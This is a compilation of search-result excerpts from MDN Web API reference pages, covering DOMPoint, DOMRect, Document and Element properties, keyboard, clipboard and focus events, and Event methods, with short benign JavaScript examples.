the obsolete domobject interface was used in earlier versions of the dom specification as the base class for any object data type.
... the specifications now simply use the javascript object type.
... specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'domobject' in that specification.
... obsolete initial specification ...
DOMPoint.DOMPoint() - Web APIs
WebAPIDOMPointDOMPoint
you can also create a dompoint by calling the dompoint.frompoint() static function.
... examples this example creates a dompoint representing the top-left corner of the current window, then creates a second point based on the first, which is then offset by 100 pixels both vertically and horizontally.
... var windtopleft = new dompoint(window.screenx, window.screeny); var newtopleft = dompoint.frompoint(windtopleft); newtopleft.x += 100; newtopleft.y += 100; specifications specification status comment geometry interfaces module level 1the definition of 'dompoint()' in that specification.
... candidate recommendation initial definition ...
DOMPoint.y - Web APIs
WebAPIDOMPointy
the dompoint interface's y property holds the vertical coordinate, y, for a point in space.
... syntax var ypos = dompoint.y; value a double-precision floating-point value indicating the y coordinate's value for the point.
... specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation initial definition ...
DOMPoint - Web APIs
WebAPIDOMPoint
you can also use an existing dompoint or dompointreadonly or a dompointinit dictionary to create a new point by calling the dompoint.frompoint() static method.
...in the following snippet, the pose of the xr device (such as a vr headset or phone with ar capabilities) can be retrieved by calling using xrframe.getviewerpose() during an xrsession animation frame, then accessing the resulting xrpose's transform property, which contains two dompointreadonly attributes: position as a vector and orientation as a quaternion.
...otwo(position.y) + ', z: ' + roundtotwo(position.z)); console.log('xr viewer orientation: {x: ' + roundtotwo(orientation.x) + ', y: ' + roundtotwo(orientation.y) + ', z: ' + roundtotwo(orientation.z) + ', w: ' + roundtotwo(orientation.w)); } } specifications specification status comment geometry interfaces module level 1the definition of 'dompoint' in that specification.
... candidate recommendation ...
DOMPointInit.x - Web APIs
WebAPIDOMPointInitx
syntax var dompointinit = { x: xpos }; dompointinit.x = xpos; var xpos = dompointinit.x; value a double-precision floating-point value indicating the point's x coordinate.
... dompointinit is used as an input when calling either dompointreadonly.frompoint() or dompoint.frompoint(), and is returned by the dompointreadonly.tojson() and dompoint.tojson() methods.
... specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation initial definition ...
DOMPointInit.y - Web APIs
WebAPIDOMPointInity
this may change if transforms have been applied causing the axes' orientation to change.
... syntax var dompointinit = { y: ypos }; dompointinit.y = ypos; var ypos = dompointinit.y; value a double-precision floating-point value indicating the point's y-coordinate.
... specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation initial definition ...
DOMPointInit.z - Web APIs
WebAPIDOMPointInitz
typically, a z value of 0 represents the plane of the screen.
... syntax var dompointinit = { z: zpos }; dompointinit.z = zpos; var zpos = dompointinit.z; value a double-precision floating-point value indicating the point's z-coordinate.
... specifications specification status comment geometry interfaces module level 1the definition of 'z' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.fromPoint() - Web APIs
you can also create a new dompointreadonly object using the new dompointreadonly() constructor.
... return value a new dompointreadonly object (which is identical to the source point).
... const origpoint = new dompoint(25, 25, 100, 0.5) const newpoint = dompointreadonly.frompoint(origpoint) specifications specification status comment geometry interfaces module level 1the definition of 'frompoint()' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.x - Web APIs
this property cannot be changed by javascript code in this read-only version of the dompoint object.
... syntax const xpos = somedompointreadonly.x; value a double-precision floating-point value indicating the x coordinate's value for the point.
... specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification.
... candidate recommendation initial definition ...
DOMPointReadOnly.y - Web APIs
the dompointreadonly interface's y property holds the vertical coordinate, y, for a read-only point in space.
... syntax const ypos = somedompointreadonly.y; value a double-precision floating-point value indicating the y coordinate's value for the point.
... specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification.
... candidate recommendation initial definition ...
DOMRectReadOnly.fromRect() - Web APIs
the fromrect() property of the domrectreadonly interface creates a new domrectreadonly object with a given location and dimensions.
... syntax var domrect = domrectreadonly.fromrect(rectangle) parameters rectangle optional an object specifying the location and dimensions of a rectangle.
... specifications specification status comment geometry interfaces module level 1the definition of 'fromrect()' in that specification.
... candidate recommendation initial definition.
DOMRectReadOnly - Web APIs
note that this constructor cannot be called by 3rd party javascript; doing so returns an "illegal constructor" typeerror.
... static methods domrectreadonly.fromrect() creates a new domrect object with a given location and dimensions.
... specifications specification status comment geometry interfaces module level 1the definition of 'domrectreadonly' in that specification.
... candidate recommendation initial definition.
DOMTokenList.forEach() - Web APIs
the foreach() method of the domtokenlist interface calls the callback given in parameter once for each value pair in the list, in insertion order.
... syntax tokenlist.foreach(callback [, thisarg]); parameters callback function to execute for each element, eventually taking three arguments: currentvalue the current element being processed in the array.
... thisarg optional value to use as this when executing callback.
...selector("span"); let classes = span.classlist; let iterator = classes.values(); classes.foreach( function(value, key, listobj) { span.textcontent += `${value} ${key}/${this} ++ `; }, "arg" ); result polyfill this polyfill adds compatibility to all browsers supporting es5: if (window.domtokenlist && !domtokenlist.prototype.foreach) { domtokenlist.prototype.foreach = function (callback, thisarg) { thisarg = thisarg || window; for (var i = 0; i < this.length; i++) { callback.call(thisarg, this[i], i, this); } }; } specifications specification status comment domthe definition of 'foreach() (as iterable<node>)' in that specification.
DataTransfer.mozSourceNode - Web APIs
the datatransfer.mozsourcenode property is used to determine the node over which the mouse cursor was located when the the drag operation was initiated (for example, when a <button> was clicked).
... for external drags or if the calling function cannot reach the node, null is returned.
...returns null for external drags or if the node cannot be accessed.
... function dragend_handler(event) { var dragdata = event.datatransfer; var node = dragdata.mozsourcenode; if (node != null) console.log("mozsourcenode = " + dragdata.mozsourcenode); else console.log("mozsourcenode is null"); } specifications this property is not defined in any web standard.
DelayNode - Web APIs
WebAPIDelayNode
the delaynode interface represents a delay-line; an audionode audio-processing module that causes a delay between the arrival of an input data and its propagation to the output.
...alternatively, you can use the baseaudiocontext.createdelay() factory method.
... example we have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code).
... var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.setvalueattime(delay1, audioctx.currenttime); } specifications specification status comment web audio apithe definition of 'delaynode' in that specification.
Using light sensors - Web APIs
ambient light events give a web application access to a device's ambient light sensor to detect changes in light intensity.
...you are working in a dark environment'); bodybg.backgroundcolor="lightgrey"; } else { bodybg.backgroundcolor="#fff"; } }); this example shows how the api can actually be used in the wild.
... specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
... candidate recommendation initial specification ...
DeviceOrientationEvent - Web APIs
the deviceorientationevent provides web developers with information from the physical orientation of the device running the web page.
...take care about this while using them.
... properties deviceorientationevent.absolute read only a boolean that indicates whether or not the device is providing orientation data absolutely.
... example window.addeventlistener('deviceorientation', function(event) { console.log(event.alpha + ' : ' + event.beta + ' : ' + event.gamma); }); specifications specification status comment deviceorientation event specification editor's draft initial specification.
Document.adoptNode() - Web APIs
the node can then be inserted into the current document.
... after calling this method, importednode and externalnode are the same object.
... example const iframe = document.queryselector('iframe'); const iframeimages = iframe.contentdocument.queryselectorall('img'); const newparent = document.getelementbyid('images'); iframeimages.foreach(function(imgel) { newparent.appendchild(document.adoptnode(imgel)); }); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
... specifications specification status comment domthe definition of 'document.adoptnode' in that specification.
Document.all - Web APIs
WebAPIDocumentall
conversion to boolean document.all is the only falsy object accessible to javascript, because it has the [[ishtmldda]] internal slot.
... this was done because of compatibility with older versions of internet explorer.
... more information about this can be found in this answer from stackoverflow.
... specifications specification status comment html living standardthe definition of 'all' in that specification.
Document: animationstart event - Web APIs
a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence).
... bubbles yes cancelable no interface animationevent event handler property onanimationstart the original target for this event is the element that had the animation applied.
... you can listen for this event on the document interface to handle it in the capture or bubbling phases.
... specifications specification status comment css animations working draft initial definition ...
Document.bgColor - Web APIs
WebAPIDocumentbgColor
the deprecated bgcolor property gets or sets the background color of the current document.
... document.bgcolor is deprecated in dom level 2 html.
... the recommended alternative is use of the css style background-color which can be accessed through the dom with document.body.style.backgroundcolor.
... another alternative is document.body.bgcolor, although this is also deprecated in html 4.01 in favor of the css alternative.
Document.compatMode - Web APIs
the document.compatmode property indicates whether the document is rendered in quirks mode or standards mode.
... syntax const mode = document.compatmode value an enumerated value that can be: "backcompat" if the document is in quirks mode.
... note: all these modes are now standardized, so the older "standards" and "almost standards" names are nonsensical and no longer used in standards.
... example if (document.compatmode == "backcompat") { // in quirks mode } specifications specification status comment domthe definition of 'compatmode' in that specification.
Document.createEvent() - Web APIs
many methods used with createevent, such as initcustomevent, are deprecated.
...the returned object should be first initialized and can then be passed to eventtarget.dispatchevent.
...elem.addeventlistener('build', function (e) { // e.target matches elem }, false); // target can be any element or other eventtarget.
... event module standard event object gecko also supports text event module textevent textevents keyboard event module keyboardevent keyevents basic events module event events specifications specification status comment domthe definition of 'document.createevent' in that specification.
Document.designMode - Web APIs
according to the specification, this property is meant to default to "off".
...in ie6-10, the value is capitalized.
... syntax var mode = document.designmode; document.designmode = value; value a string indicating whether designmode is (or should be) set to on or off.
... example make an <iframe>'s document editable: iframenode.contentdocument.designmode = "on"; specifications specification status comment html living standardthe definition of 'designmode' in that specification.
Document: keydown event - Web APIs
bubbles yes cancelable yes interface keyboardevent event handler property onkeydown the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
... for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress.
... an uppercase "a" is reported as 65 by all events.
...by clicking in it), then try pressing some keys.</p> <p id="log"></p> document.addeventlistener('keydown', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeydown equivalent document.onkeydown = logkey; specifications specification status ui events working draft ...
Document: keyup event - Web APIs
bubbles yes cancelable yes interface keyboardevent event handler property onkeyup the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
... for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress.
... an uppercase "a" is reported as 65 by all events.
...by clicking in it), then try pressing some keys.</p> <p id="log"></p> const log = document.getelementbyid('log'); document.addeventlistener('keyup', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeyup equivalent document.onkeyup = logkey; specifications specification status ui events working draft ...
Document.linkColor - Web APIs
this property is deprecated.
... as an alternative, you can set the css color property on either html anchor links (<a>) or on :link pseudo-classes.
... another alternative is document.body.link, although this is deprecated in html 4.01.
... example document.linkcolor = 'blue'; specification html5 document.linkcolor is deprecated in dom level 2 html.
Document.onfullscreenerror - Web APIs
the document.onfullscreenerror property is an event handler for the fullscreenerror event that is sent to the document when it fails to transition into full-screen mode after a prior call to element.requestfullscreen().
... example this example attempts to call requestfullscreen() outside of an event handler.
... since requestfullscreen() can only be called in response to user action, for security reasons, this will fail, causing the fullscreenerror to be sent to the document.
... document.documentelement.requestfullscreen(); specifications specification status comment fullscreen apithe definition of 'onfullscreenerror' in that specification.
Document.rootElement - Web APIs
it is deprecated in favor of document.documentelement, which returns the root element for all documents.
... syntax const element = document.rootelement notes if the document is a non-empty svg document, then the rootelement will be an svgsvgelement, identical to the documentelement.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgdocument.rootelement' in that specification.
... candidate recommendation deprecated scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdocument.rootelement' in that specification.
Document.selectedStyleSheetSet - Web APIs
the selectedstylesheetset property indicates the name of the style sheet set that's currently in use.
... syntax currentstylesheetset = document.selectedstylesheetset; document.selectedstylesheet = newstylesheetset; on return, currentstylesheetset indicates the name of the style sheet set currently in use.
... you can also set the current style sheet set using this property.
... setting the value of this property is equivalent to calling document.enablestylesheetsforset() with the value of currentstylesheetset, then setting the value of laststylesheetset to that value as well.
Document.timeline - Web APIs
WebAPIDocumenttimeline
this timeline is a special instance of documenttimeline that is automatically created on page load.
... this timeline is unique to each document and persists for the lifetime of the document including calls to document.open().
... the time values for this timeline are calculated as a fixed offset from the global clock such that the zero time corresponds to the navigationstart moment plus a signed delta known as the origin time.
... specifications specification status comment web animationsthe definition of 'document.timeline' in that specification.
DocumentOrShadowRoot - Web APIs
methods documentorshadowroot.caretpositionfrompoint() returns a caretposition object containing the dom node containing the caret, and caret's character offset within that node.
... documentorshadowroot.getselection() returns a selection object representing the range of text selected by the user, or the current position of the caret.
... specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification.
... domthe definition of 'documentorshadowroot' in that specification.
Using the W3C DOM Level 1 Core - Web APIs
for example, the following document <html> <head> <title>my document</title> </head> <body> <h1>header</h1> <p>paragraph</p> </body> </html> has a dom tree that looks like this: (note that, although the above tree is similar to the above document's dom tree, it's not identical, as the actual dom tree preserves whitespace.) when a web browser parses an html document, it builds a dom tree and then uses it to display the document.
...etextnode("this is the second paragraph."); // create a new element to be the second paragraph var newelement = document.createelement("p"); // put the text in the paragraph newelement.appendchild(newtext); // and put the paragraph on the end of the document by appending it to // the body (which is the parent of para) para.parentnode.appendchild(newelement); } you can see this script as a complete example.
... how can i learn more?
... see also the dom level 1 core specification from the w3c.
EXT_disjoint_timer_query - Web APIs
ext.query_counter_bits_ext a glint indicating the number of bits used to hold the query result for the given target.
... ext.query_result_available_ext a glboolean indicating whether or not a query result is available.
... ext.gpu_disjoint_ext a glboolean indicating whether or not the gpu performed any disjoint operation.
... examples var ext = gl.getextension('ext_disjoint_timer_query'); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_float_blend - Web APIs
doing so automatically enables ext_float_blend as well.
... with this extension enabled, calling drawarrays() or drawelements() with blending enabled and a draw buffer with 32-bit floating-point components will no longer result in an invalid_operation error.
... usage notes on devices that support the ext_float_blend extension, it is automatically, implicitly, enabled when any one or more of ext_color_buffer_float, oes_texture_float, or webgl_color_buffer_float are enabled.
... examples const gl = canvas.getcontext('webgl2'); // enable necessary extensions gl.getextension('ext_color_buffer_float'); gl.getextension('ext_float_blend'); const tex = gl.createtexture(); gl.bindtexture(gl.texture_2d, tex); // use floating point format gl.teximage2d(gl.texture_2d, 0, gl.rgba32f, 1, 1, 0, gl.rgba, gl.float, null); const fb = gl.createframebuffer(); gl.bindframebuffer(gl.framebuffer, fb); gl.framebuffertexture2d(gl.framebuffer, gl.color_attachment0, gl.texture_2d, tex, 0); // enable blending gl.enable(gl.blend); gl.drawarrays(gl.points, 0, 1); // won't throw gl.invalid_operation with the extension enabled specifications specification status ...
EffectTiming.iterationStart - Web APIs
syntax var timingproperties = { iterationstart = iterationnumber }; timingproperties.iterationstart = iterationnumber; value a floating-point value whose value is at least 0 and is not +infinity, indicating the offset into the number of iterations the animation sequence is to run at which to start animating.
... usually you'll use a value between 0.0 and 1.0 to indicate an offset into the first run of the animation at which to begin the animation performance, but any positive, non-infinite value is allowed.
...see issue 170 in the web animations api specification's issue tracker for details and status of any changes to the specification in this regard.
... specifications specification status comment web animationsthe definition of 'iterationstart' in that specification.
EffectTiming - Web APIs
although this is technically optional, keep in mind that your animation will not run if this value is 0.
...0.5 would indicate starting halfway through the first iteration for example, and with this value set, an animation with 2 iterations would end halfway through a third iteration.
...defaults to 1, and can also take a value of infinity to make it repeat for as long as the element exists.
... specifications specification status comment web animationsthe definition of 'effecttiming' in that specification.
Element: blur event - Web APIs
bubbles no cancelable no interface focusevent event handler property onblur sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result ev...
...ent delegation there are two ways of implementing event delegation for this event: by using the focusout event, or by setting the usecapture parameter of addeventlistener() to true.
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
... document object model (dom) level 3 events specification obsolete initial definition ...
Element.clientLeft - Web APIs
it includes the width of the vertical scrollbar if the text direction of the element is right–to–left and if there is an overflow causing a left vertical scrollbar to be rendered.
... when layout.scrollbar.side preference is set to 1 or to 3 and when the text-direction is set to rtl, then the vertical scrollbar is positioned on the left and this impacts the way clientleft is computed.
...excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
... padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom specifications specification status comment css object model (cssom) view modulethe definition of 'clientleft' in that specification.
Element: copy event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the event's default action is to copy the selection (if any) to the clipboard.
... a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
... however, the handler cannot read the clipboard data.
...it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element: error event - Web APIs
the error event is fired on an element object when a resource failed to load, or can't be used.
... for example, if a script has an execution error or an image can't be found or is invalid.
... bubbles no cancelable no interface event or uievent event handler property onerror the event object is a uievent instance if it was generated from a user interface element, or an event instance otherwise.
...lector('.event-log-contents'); const badimg = document.queryselector('.bad-img'); badimg.addeventlistener('error', (event) => { log.textcontent = log.textcontent + `${event.type}: loading image\n`; console.log(event) }); const imgerror = document.queryselector('#img-error'); imgerror.addeventlistener('click', () => { badimg.setattribute('src', 'i-dont-exist'); }); result specifications specification status ui events working draft ...
Element: focus event - Web APIs
bubbles no cancelable no interface focusevent event handler property onfocus sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result ...
... event delegation there are two ways of implementing event delegation for this event: by using the focusin event, or by setting the usecapture parameter of addeventlistener() to true.
... html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addeventlistener('blur', (event) => { event.target.style.background = ''; }, true); result specifications specification status comment ui events working draft added info that this event is composed.
... document object model (dom) level 3 events specification obsolete initial definition ...
Element.getAnimations() - Web APIs
it can optionally return animation objects for descendant elements too.
... syntax const animations = element.getanimations(options); parameters options optional an options object containing the following property: subtree a boolean value which, if true, causes animations that target descendants of element to be returned as well.
... return value an array of animation objects, each representing an animation currently targetting the element on which this method is called, or one of its descendant elements if { subtree: true } is specified.
... promise.all( elem.getanimations({ subtree: true }) .map(animation => animation.finished) ).then(() => elem.remove()); specifications specification status comment web animationsthe definition of 'animatable.getanimations()' in that specification.
Element.hasAttribute() - Web APIs
the element.hasattribute() method returns a boolean value indicating whether the specified element has the specified attribute or not.
...ling with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element.hasattribute()' in that specification.
... living standard from document object model (dom) level 3 core specification, moved from node to element document object model (dom) level 3 core specificationthe definition of 'element.hasattribute()' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'element.hasattribute()' in that specification.
Element.hasAttributeNS() - Web APIs
hasattributens returns a boolean value indicating whether the current element has the specified attribute.
... syntax result = element.hasattributens(namespace,localname) result is the boolean value true or false.
... localname is the name of the attribute.
...ling with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'document.hasattributens' in that specification.
Element.hasAttributes() - Web APIs
the hasattributes() method of the element interface returns a boolean indicating whether the current element has any attributes or not.
... examples let foo = document.getelementbyid('foo'); if (foo.hasattributes()) { // do something with 'foo.attributes' } polyfill ;(function(prototype) { prototype.hasattributes = prototype.hasattributes || function() { return (this.attributes.length > 0); } })(element.prototype); specifications specification status comment domthe definition of 'element.hasattributes()' in that specification.
... document object model (dom) level 3 core specificationthe definition of 'hasattributes()' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'hasattributes()' in that specification.
Element: keydown event - Web APIs
bubbles yes cancelable yes interface keyboardevent event handler property onkeydown the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
... for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress.
... an uppercase "a" is reported as 65 by all events.
... <input placeholder="click here, then press down a key." size="40"> <p id="log"></p> const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('keydown', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeydown equivalent input.onkeydown = logkey; specifications specification status ui events working draft ...
Element: keyup event - Web APIs
bubbles yes cancelable yes interface keyboardevent event handler property onkeyup the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
... for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress.
... an uppercase "a" is reported as 65 by all events.
... <input placeholder="click here, then press and release a key." size="40"> <p id="log"></p> const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('keyup', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeyup equivalent input.onkeyup = logkey; specifications specification status ui events working draft ...
Element: mouseleave event - Web APIs
bubbles no cancelable no interface mouseevent event handler property onmouseleave mouseleave and mouseout are similar but differ in that mouseleave does not bubble and mouseout does.
... one single mouseout event is sent to the deepest element of the dom tree, then it bubbles up the hierarchy until it is canceled by a handler or reaches the root.
...nction addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = document.createelement("li"); // add the text node to the li element newlistitem.appendchild(newtextnode); // add the newly created list item to list unorderedlist.appendchild(newlistitem); } result specifications specification status ui eventsthe definition of 'mouseleave' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseleave' in that specification.
Element: mouseout event - Web APIs
mouseout is also delivered to an element if the cursor enters a child element, because the child element obscures the visible area of the element.
... bubbles yes cancelable yes interface mouseevent event handler property onmouseout examples the following examples show the use of the mouseout event.
...ion() { event.target.style.color = ""; }, 1000); }, false); // briefly make an <li> orange when the mouse moves off of it test.addeventlistener("mouseout", function( event ) { // highlight the mouseout target event.target.style.color = "orange"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 500); }, false); result specifications specification status ui eventsthe definition of 'mouseout' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'mouseout' in that specification.
Element: msContentZoom event - Web APIs
the mscontentzoom event fires when a user zooms the element (changes the scale of the content).
... zoomed elements can expose their zoom level through mscontentzoom (ie.
...the zoom level can be reset with element.mszoomto().
... bubbles unknown cancelable unknown interface unknown event handler property unknown example contentzoom.addeventlistener("mscontentzoom", function(e) { zoomfactor.value = contentzoom.mscontentzoomfactor.tofixed(2); }); specifications not part of any specification.
Element.onfullscreenchange - Web APIs
syntax targetdocument.onfullscreenchange = fullscreenchangehandler; value an event handler for the fullscreenchange event, indicating that the element has changed in or out of full-screen mode.
...this function determines which element it was called on by checking the value of event.target, then compares the document's fullscreenelement value to the element to see if they're the same node.
... this gives us a value, isfullscreen, which we pass into a function called adjustmycontrols(), which we imagine to be a function that makes adjustments to the app's user interface to present itself optimally when it's in full-screen mode versus being displayed in a window.
... function togglefullscreen() { let elem = document.queryselector("video"); elem.onfullscreenchange = handlefullscreenchange; if (!document.fullscreenelement) { elem.requestfullscreen().then({}).catch(err => { alert(`error attempting to enable full-screen mode: ${err.message} (${err.name})`); }); } else { document.exitfullscreen(); } } function handlefullscreenchange(event) { let elem = event.target; let isfullscreen = document.fullscreenelement === elem; adjustmycontrols(isfullscreen); } specifications specification status comment fullscreen apithe definition of 'onfullscreenchange' in that specification.
Element: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position.
... a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property.
... to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
...>...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.querySelector() - Web APIs
tyle> element which either has no type or has type "text/css" in the html document body is returned: var el = document.body.queryselector("style[type='text/css'], style:not([type])"); the entire hierarchy counts this example demonstrates that the hierarchy of the entire document is considered when applying selectors, so that levels outside the specified baseelement are still considered when locating matches.
... specifications specification status comment domthe definition of 'queryselector()' in that specification.
... living standard selectors api level 2the definition of 'queryselectorall()' in that specification.
... obsolete selectors api level 1the definition of 'queryselectorall()' in that specification.
Element.scroll() - Web APIs
WebAPIElementscroll
syntax element.scroll(x-coord, y-coord) element.scroll(options) parameters calling with coordinates x-coord the pixel along the horizontal axis of the element that you want displayed in the upper left.
... y-coord the pixel along the vertical axis of the element that you want displayed in the upper left.
... calling with options options a scrolltooptions dictionary.
... examples // put the 1000th vertical pixel at the top of the element element.scroll(0, 1000); using options: element.scroll({ top: 100, left: 100, behavior: 'smooth' }); specification specification status comment css object model (cssom) view modulethe definition of 'element.scroll()' in that specification.
Element.scrollWidth - Web APIs
the width is measured in the same way as clientwidth: it includes the element's padding, but not its border, margin or vertical scrollbar (if present).
... it can also include the width of pseudo-elements such as ::before or ::after.
... if the element's content can fit without a need for horizontal scrollbar, its scrollwidth is equal to clientwidth this property will round the value to an integer.
...{ if (isoverflowing(element)) { alert('contents are overflowing the container.'); } else { alert('no overflows!'); } } buttonone.addeventlistener('click', function() { alertoverflow(divone); }); buttontwo.addeventlistener('click', function() { alertoverflow(divtwo); }); </script> </html> result specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollwidth' in that specification.
Element: scroll event - Web APIs
bubbles no cancelable no interface event event handler property onscroll note: in ios uiwebviews, scroll events are not fired while scrolling is taking place; they are only fired after the scrolling has completed.
... examples scroll event throttling since scroll events can fire at a high rate, the event handler shouldn't execute computationally expensive operations such as dom modifications.
...oll_position = 0; let ticking = false; function dosomething(scroll_pos) { // do something with the scroll position } window.addeventlistener('scroll', function(e) { last_known_scroll_position = window.scrolly; if (!ticking) { window.requestanimationframe(function() { dosomething(last_known_scroll_position); ticking = false; }); ticking = true; } }); note: you can find more examples on the resize event page.
... specifications specification status css object model (cssom) view module working draft ...
Element.shadowRoot - Web APIs
examples the following snippets are taken from our life-cycle-callbacks example (see it live also), which creates an element that displays a square of a size and color specified in the element's attributes.
... inside the <custom-square> element's class definition we include some life cycle callbacks that make a call to an external function, updatestyle(), which actually applies the size and color to the element.
... connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); } attributechangedcallback(name, oldvalue, newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot.
... const shadow = elem.shadowroot; const childnodes = array.from(shadow.childnodes); childnodes.foreach(childnode => { if (childnode.nodename === 'style') { childnode.textcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px; background-color: ${elem.getattribute('c')}; } `; } }); } specifications specification status comment domthe definition of 'shadowroot' in that specification.
ElementCSSInlineStyle.style - Web APIs
the style property has the same (and highest) priority in the css cascade as an inline style declaration set via the style attribute.
...instead, styles can be set by assigning values to the properties of style.
...note that the property names are in camel-case and not kebab-case while setting the style using elt.style.<property> (i.e., elt.style.fontsize, not elt.style.font-size).
... note the presence of the value bold for font-weight in the computed style and the absence of it in the element's style property specifications specification status comment css object model (cssom)the definition of 'the elementcssinlinestyle.style property' in that specification.
Event() - Web APIs
WebAPIEventEvent
eventinit optional this is an eventinit dictionary, having the following optional fields: bubbles optional a boolean indicating whether the event bubbles.
... cancelable optional a boolean indicating whether the event can be cancelled.
... composed optional a boolean indicating whether the event will trigger listeners outside of a shadow root (see event.composed for more details).
... example // create a look event that bubbles up and cannot be canceled const evt = new event("look", {"bubbles":true, "cancelable":false}); document.dispatchevent(evt); // event can be dispatched from any element, not only the document mydiv.dispatchevent(evt); specifications specification status comment domthe definition of 'event()' in that specification.
Event.stopImmediatePropagation() - Web APIs
the stopimmediatepropagation() method of the event interface prevents other listeners of the same event from being called.
... if several listeners are attached to the same element for the same event type, they are called in the order in which they were added.
... if stopimmediatepropagation() is invoked during one such call, no remaining listeners will be called.
... syntax event.stopimmediatepropagation(); specifications specification status comment domthe definition of 'event.stopimmediatepropagation()' in that specification.
Event.stopPropagation() - Web APIs
the stoppropagation() method of the event interface prevents further propagation of the current event in the capturing and bubbling phases.
... specifications specification status comment domthe definition of 'event.stoppropagation()' in that specification.
